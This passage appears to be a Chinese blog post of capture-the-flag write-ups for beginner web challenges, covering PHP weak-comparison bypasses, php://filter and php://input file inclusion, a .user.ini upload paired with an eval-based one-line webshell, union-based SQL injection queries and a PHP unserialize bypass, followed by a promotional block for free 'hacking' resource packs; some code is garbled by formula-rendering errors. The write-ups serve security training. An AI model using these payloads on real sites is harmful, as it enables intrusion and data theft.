- @$_GET[‘c’]:这段代码首先尝试从GET请求中获取名为"c"的参数的值。
- json_decode():然后使用json_decode()函数将获取到的JSON字符串解码为PHP对象。
- (array):最后,使用类型转换操作符(array)将解码后的PHP对象转换为数组。
举个例子,如果你通过URL发送了如下GET请求:
Copy Codehttp://example.com/script.php?c={“name”:“John”,“age”:30}
那么上面的PHP代码将把URL中的"c"参数值解析为JSON对象,并转换为PHP数组,类似于下面的结果:
Copy Code$c = array(
“name” => “John”,
“age” => 30
);
- if(is_array(KaTeX parse error: Expected ‘EOF’, got ‘&’ at position 4: c) &̲& !is\_numeric(…c[“m”]) && $c[“m”] > 2022)
- 如果c是数组 并且 !is_numeric(@ c [ " m " ] ) :使用 i s _ n u m e r i c 函数检查数组 c[“m”]) : 使用is\_numeric函数检查数组 c[“m”]):使用is_numeric函数检查数组c中名为m的元素的值是否为数字 $c[“m”] > 2022 : 并且这个m元素的值 需要大于2022
- 这里就又矛盾了 如果既要求m元素的值不是数字 还需要大于 2022 这里php有一个语言特性 2023m>2022 在进行比较时 php会取一个比较数中前面的数字来进行与后面的数字的比较
- if(is_array(@KaTeX parse error: Expected ‘EOF’, got ‘&’ at position 9: c[“n”]) &̲& count(c[“n”]) == 2 && is_array($c[“n”][0])){
$d = array_search(“DGGJ”, $c[“n”]);
d = = = f a l s e ? d i e ( " n o . . . " ) : N U L L ; f o r e a c h ( d === false?die(“no…”):NULL; foreach( d=false?die(“no…”):NULL;foreach(c[“n”] as k e y = > key=> key=>val){
$val=“DGGJ”?die(“no…”):NULL; - 如果c中名为n元素的值是数组 并且这个数组中有两个元素 并且第1个元素的值也是数组
- 注意这个arraysearch是个弱类型的比较 是== 而不是 === 也就是说遍历c中n元素的值如果找到值==DGGJ 就继续下面的那个循环 如果找不到就返回FALSE 也就直接终止程序了
- 接下来进入下面那个循环时 又遍历c中n元素的值 找DGGJ如果找到就终止程序
- 这个时候就又有矛盾了 又需要值得等于DGGJ 又不能让她出现
- 这个时候就需要array_search 这个弱类型的比较了
- 因为他是== 而不是=== 这个时候 如果“cgy”==0 这个等式是 成立的
- 所以就可以这么进行绕过
- 所以最后的abc的参数为
- ?a=1e9&b=53724&c={“m”:“2023x”,“n”:[[],0]}
- 获得;flag
4.fileclude(仍是文件包含伪协议绕过)
WRONG WAY!
<?php include("flag.php"); highlight\_file(\_\_FILE\_\_); if(isset($\_GET\["file1"\]) && isset($\_GET\["file2"\])) { $file1 = $\_GET\["file1"\]; $file2 = $\_GET\["file2"\]; if(!empty($file1) && !empty($file2)) { if(file\_get\_contents($file2) === "hello ctf") { include($file1); } } else die("NONONO"); } \*\*分析代码:\*\* \* \*\*首先,它检查是否有名为"file1"和"file2"的GET参数传入。\*\* \* \*\*然后,将这两个参数的值分别赋给变量\*\*\*\*file1和\*\*\*\*f\*\*\*\*i\*\*\*\*l\*\*\*\*e\*\*\*\*1\*\*\*\*和\*\*\*\*file2。\*\* \* \*\*接着,它检查\*\*\*\*file1和\*\*\*\*f\*\*\*\*i\*\*\*\*l\*\*\*\*e\*\*\*\*1\*\*\*\*和\*\*\*\*file2是否都不为空。\*\* \* \*\*如果满足上述条件,并且\*\*\*\*file2的内容等于"hello ctf",那么它会包含\*\*\*\*f\*\*\*\*i\*\*\*\*l\*\*\*\*e\*\*\*\*2\*\*\*\*的内容等于\*\*\*\*"\*\*\*\*h\*\*\*\*e\*\*\*\*ll\*\*\*\*oc\*\*\*\*t\*\*\*\*f\*\*\*\*"\*\*\*\*,那么它会包含\*\*\*\*file1指定的文件。\*\* \* \*\*否则,会输出"NONONO"并终止程序。\*\* 1. \*\*现在需要上传file1与file2的值但是还必须将file2的值为hello ctf\*\* 2. \*\*仍在考php的伪协议\*\* 3. \*\*对于这个===hello ctf\*\* 4. \*\*需要用\*\* !\[\](https://img-blog.csdnimg.cn/img\_convert/3f909f904b7af3dca7e8cab627a3e93a.png) 5. \*\*对于file1则是??filename=php://filter/read=convert.base64-encode/resource=flag.php这段伪协议\*\* 6. \*\*又因为使用input这个命令执行的伪协议只能读取post中的data部分 需要抓包才能将data的内容改为hello ctf\*\* 7. \*\*最后的url为\*\* 8. \*\*?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input\*\* 9. !\[\](https://img-blog.csdnimg.cn/img\_convert/1770209f0856adf0438f3132b0cd0539.png) 10. \*\*必须要在左边写hello ctf 才能使input函数读入这段字符串\*\* 11. \*\*因为是用base64编码的所以需要解码一下\*\* 12. \*\*flag为cyberpeace{4ac5762a8c1149754fecc0727f8245f4}\*\* ## 5.fileinclude \*\*考点:考了cookie的利用 以及文件包含php伪协议的利用\*\* !\[\](https://img-blog.csdnimg.cn/img\_convert/223f980653cbea3fb35c2fe72fec75e8.png) 1. \*\*打开后发现页面没有源码什么的\*\* 2. \*\*用F12查看页面源代码试试\*\* 3. !\[\](https://img-blog.csdnimg.cn/img\_convert/ebc89de540f52cca54f183eed49fd716.png) 4. \*\*源码如下\*\* <?php if( !ini\_get('display\_errors') ) { ini\_set('display\_errors', 'On'); } error\_reporting(E\_ALL); $lan = $\_COOKIE\['language'\]; if(!$lan) { @setcookie("language","english"); @include("english.php"); } else { @include($lan.".php"); } $x=file\_get\_contents('index.php'); echo $x; ?>- 查看源码后发现里面include有可控的变量 cookie 中的language
- 所以用BP抓包修改cookie中language的值 并用php伪协议来获取flag.php
- 发现并没有cookie的值 所以需要我们自己写
- 注意这个cookie的赋值必须在connection下面 并且这里将english赋给language后原来的报错没有了
- 证明填的位置正确了
- 所以只需要resource后面写flag即可 因为源码中拼接了.php
- 最后解码一下即可
- cyberpeace{b6408b005f630c84392534b561a3b11e} 得到flag
6.easyupload
考点:考文件上传漏洞
- 先上传.user.ini(必须是.user.ini文件 不能少点 要不然后面蚁剑连接不成功)文件使其包含一个图片 然后再上传一个图片,最后用蚁剑来连接
GIF89a
auto_prepend_file=a.jpg
- 题头GIF89a是为了防止后端检测这个文件的开头是不是JPG或者其他图片格式 可以绕过后端的检测
- 上传这个文件时用bp上传改一些内容也是防止后端检测
- 然后再上传一个jpg文件里面有一句话木马
GIF89a
<?=eval($\_REQUEST\['cmd'\]);?>- 然后将格式改为jpg的格式 继续再bp repeater模块中检测
- 这里发现仍然上传不上去
- 可能是检测了内容 把php删掉改成=试试
- 上传成功
- 上传成功后,现在需要找到路径才能填蚁剑的那个地址
- 这个就是其地址
- 用蚁剑连接
7.inget&robots
由此可见是考SQL注入的
- 用万能钥匙来获得flag即可
- ?id=1’or 1=1 --+ 有时候需要双引号 有时候单引号 有时候不需要引号 即可获得flag
- 这道题考robots协议
- robots是搜索引擎爬虫协议,也就是你网站和爬虫的协议。
**简单的理解:**robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。
主流的搜索引擎都会遵守robots协议**。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后,会读取上面的协议,并准守协议爬取网站,收录网站。**
robots文件是一个纯文本文件,也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。因此,robots的优化会直接影响到搜索引擎对网站的收录情况。
- 可以发现这里有flag的文件 所以我们直接在当前目录访问即可
8. get_post&disabled_button&cookie
- 用BP抓包上传post方式b的值
- 遇到页面没有什么可利用的消息可以按F12来获取信息
- 把disable删掉即可
- 然后按下按钮
- 考察cookie的相关信息
- 按F12
- 发现有cookie.php
- 然后访问cookie.php
- 然后让我们看http response
9. 备份文件&ics-06
- 猜测是目录扫描,从而找到flag的文件
- 扫描后发现这里是空的 点开后有一个文件自动下载
- 打开后发现只有这个页面可以打开
- 猜测是SQL注入 于是用SQLmap检测有没有sql注入的点
- 发现并没有
- 猜测id=1 这个整数1存在暴力破解
- 成功找到
10. PHP2
考点:URL解码:%+assic 16进制
- 页面上问的是:你能认证这个网站么
- 先F12查看有没有可利用的消息
- 发现并没有什么可利用的
- 尝试访问一下indedx.php
- 这道题考的是文件的后缀 phps:文件的源代码
- 例如 index.phps 查看的就是index.php的源代码
- 试着提交的id=admin (注意是在index.php上 而不是index.phps上)
- 发现是not allowed 但是源代码中id后经过了url解码 使得解码后的id 与admin相等
- 于是用url编码admin 但是 admin经过url编码后还是admin 没有变化
- url解码是 %+ascii16进制 (注意这里百分号 也得是ascii表的16进制形式)
- 所以这里将a改为 %2561 25为%的ascii16进制 61为小写字母a的ascii16进制
11.robots
- 看了题目后猜测 是robots协议
- 然后继续查看flag的文件即可
12. unserialize3&view_source
核心思想:不让wakeup这个函数执行 只有反序列化异常的情况下(也就是属性值个数大于属性个数的时候即异常)
有一个PHP的类:xctf
有一个flag的对象
wakeup的方法 如果触发了这个方法 就离开了 也就得不到flag的值
?code:将类以参数的形式传给xctf
目标:1.反序列化xctf
步骤:1.先序列化flag对象的值
<?php class xctf { public $flag = '111'; } $a = new xctf(); echo serialize($a); ?>O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
将1改成2即可绕过wakeup功能
提交url即可
注意:1.如果flag这个对象如果不是公有的对象是私有的话
且如果编译出来的序列化内容 类与对象连在一起 需要在xctf与flag间加%00
也就是改为 %00xctf%00flag
注意这个%00不是空格而是url编码
- 题目介绍鼠标右键不管用了
- 按F12试试
- 查看页面源代码发现存在flag
- cyberpeace{911f212270286f4c4aa587e1216a9a49}
13.weak_auth&simple_php
- 由这个的提示可以看出 用户名为admin
- 这时候需要猜密码
- 于是用BP的密码暴力破解
- 输错密码后发现是check.php
- F12查看页面源代码看看
- 发现给了个提示 说 你需要一个字典
- 所以用BP的暴力破解
- 发现flag
- 首先需要上传一个a的值 a的值必须等于0 而且a还得存在
- 这里输入?a=0试试 发现并没有反应 可能a=0是不存在的
- 输入 a=‘0’字符串试试
- 发现有反应了
- 接下来看b
- 这个b如果是数字的话就会退出 所以b不能是数字 但是不是数字还得大于1234
- 这里就有php一种弱语言的特性 比如 1235c>1234
- 所以b=1235c的话 就满足条件了
14. NewsCenter(SQL注入)
- 查看页面后发现只有search new那一栏可以输入,尝试输入一些东西看看有没有什么变化的东西
- 输入1,2,3后分别有不同的内容回显
- 猜测是SQL注入
- 输入1’ or 1=1 #后发现
- 回显了news的全部内容
- 查询可利用的字段
- 发现到4的时候跳转到了另一个界面
- 说明有三个可利用的字段
- 接下来用union联合查询查询哪几个字段有回显点
- 发现2和3有回显点
- 接下来就是查询数据库 表名 字段的数据
- 查询数据库:
- 查询表名:1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
- **查询字段名:**1’ union select 1,group_concat(column_name),3 from information_schema.columns
where table_name=“secret_table” # 注意secret_table 必须加上双引号 否则回显不了如果加上双引号也失败 可以将表名改为 十六进制 前面加上0x 例如:0x7365637265745f7461626c65 这样的目的是为了表示后面的数是16进制在编程里面一般都要加入 来区别十进制数
1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7365637265745f7461626c65 # 注意 如果用16进制的话 就不需要加双引号了 同样有回显
- 接下来查询fl4g这个字段的数据
- 1’ union select 1,fl4g,3 from secret_table #
- 得到flag
15.upload1
- 看出文件上传漏洞
- 先上传一个ctf.php试试
- 发现还没点击上传就弹框了
- 这时候只需要禁用JS脚本即可
- 然后再次上传 发现上传成功
- 然后用蚁剑连接即可
16.xff_referer
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
最后给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
【点击领取】网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
![](https://img-blog.csdnimg.cn/img_convert/4b8846f6c24c4eb2534b5dbd09c59465.png)
1.学习路线图
![](https://img-blog.csdnimg.cn/img_convert/f6d7a70326a6c0071cc4dc6b3eeb8f95.png)
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】
(都打包成一块的了,不能一一展开,总共300多集)
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
![](https://img-blog.csdnimg.cn/img_convert/4b8846f6c24c4eb2534b5dbd09c59465.png)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享